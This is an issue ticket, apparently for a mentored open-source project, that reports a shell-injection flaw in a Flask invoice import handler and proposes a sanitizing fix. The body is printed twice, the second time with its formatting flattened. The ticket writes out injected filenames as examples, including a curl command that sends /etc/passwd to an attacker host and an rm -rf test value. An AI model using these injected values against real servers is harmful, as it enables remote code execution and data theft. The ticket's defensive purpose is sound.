Ticket Contents (Description):
The import/export endpoint in Website/route_handlers/ImportHandler.py directly interpolates a user-supplied filename into a shell command via subprocess.getoutput() without any sanitization. This allows an attacker to upload a file with a crafted filename (e.g. invoice.xlsx; curl https://attacker.com/$(cat /etc/passwd)) and achieve arbitrary remote code execution on the server. For a government billing platform handling procurement and financial data, this is a pre-authentication critical vulnerability that must be fixed before any public deployment.
Goals & Mid-Point Milestone:
Implementation Details:
Current vulnerable code in Website/route_handlers/ImportHandler.py (~lines 41–50):
# VULNERABLE
fname = upload_file.filename
fullfname = f"excelinterop/tmp/{fname}"
subprocess.getoutput(f"php {cmdname} {fullfname}")
Proposed fix:
from werkzeug.utils import secure_filename
import subprocess, os
ALLOWED_EXTENSIONS = {'.xlsx', '.csv'}
fname = secure_filename(upload_file.filename)
if not any(fname.endswith(ext) for ext in ALLOWED_EXTENSIONS):
abort(400, "Invalid file type")
fullfname = os.path.join("excelinterop/tmp", fname)
subprocess.run(["php", cmdname, fullfname], check=True, timeout=30)
Key changes:
secure_filename() strips path separators and shell metacharacters from the filename
subprocess.run() with a list argument never passes input to a shell — each argument is a literal string
- Extension allowlist prevents non-spreadsheet files from reaching the PHP processor
timeout=30 prevents indefinite hangs from malicious inputs
Tech used: Python, Flask, Werkzeug
Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions
Organisation Name: NSUT x SEETA x AIC
Domain: Financial Inclusion
Tech Skills Needed: Python, Flask, RESTful APIs
Mentor(s): @seetadev @aspiringsecurity @prithagupta
Category: Security / Bug
Setup/Installation:
cd Website
pip install -r requirements.txt
python main.py
# Reproduce by POSTing a crafted filename to the import endpoint
Expected Outcome:
The import endpoint rejects any filename containing shell metacharacters or path traversal sequences. A file named foo; echo pwned is sanitized to foo echo pwned (or rejected) before reaching subprocess.run. No shell is ever invoked with user-controlled string content. All existing valid .xlsx and .csv imports continue to work correctly.
Acceptance Criteria:
Mockups/Wireframes: N/A — backend security fix, no UI changes required
Ticket Contents (Description):
The import/export endpoint in
Website/route_handlers/ImportHandler.pydirectly interpolates a user-supplied filename into a shell command viasubprocess.getoutput()without any sanitization. This allows an attacker to upload a file with a crafted filename (e.g.invoice.xlsx; curl https://attacker.com/$(cat /etc/passwd)) and achieve arbitrary remote code execution on the server. For a government billing platform handling procurement and financial data, this is a pre-authentication critical vulnerability that must be fixed before any public deployment.Goals & Mid-Point Milestone:
subprocess.getoutput/subprocess.callwith user-controlled input across the codebasesubprocess.run([...], shell=False))werkzeug.utils.secure_filename()to sanitize uploaded filenames before any path construction['.xlsx', '.csv'])Implementation Details:
Current vulnerable code in
Website/route_handlers/ImportHandler.py(~lines 41–50):Proposed fix:
Key changes:
secure_filename()strips path separators and shell metacharacters from the filenamesubprocess.run()with a list argument never passes input to a shell — each argument is a literal stringtimeout=30prevents indefinite hangs from malicious inputsTech used: Python, Flask, Werkzeug
Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions
Organisation Name: NSUT x SEETA x AIC
Domain: Financial Inclusion
Tech Skills Needed: Python, Flask, RESTful APIs
Mentor(s): @seetadev @aspiringsecurity @prithagupta
Category: Security / Bug
Setup/Installation:
Expected Outcome:
The import endpoint rejects any filename containing shell metacharacters or path traversal sequences. A file named
foo; echo pwnedis sanitized tofoo echo pwned(or rejected) before reachingsubprocess.run. No shell is ever invoked with user-controlled string content. All existing valid.xlsxand.csvimports continue to work correctly.Acceptance Criteria:
secure_filename()is applied to all uploaded filenames before path constructionsubprocess.getoutput()with string interpolation is fully removed from the codebaseexploit; rm -rf /tmp/testas a filename returns HTTP 400.xlsxfile upload and processing still works end-to-endshell=Truesubprocess calls are introducedMockups/Wireframes: N/A — backend security fix, no UI changes required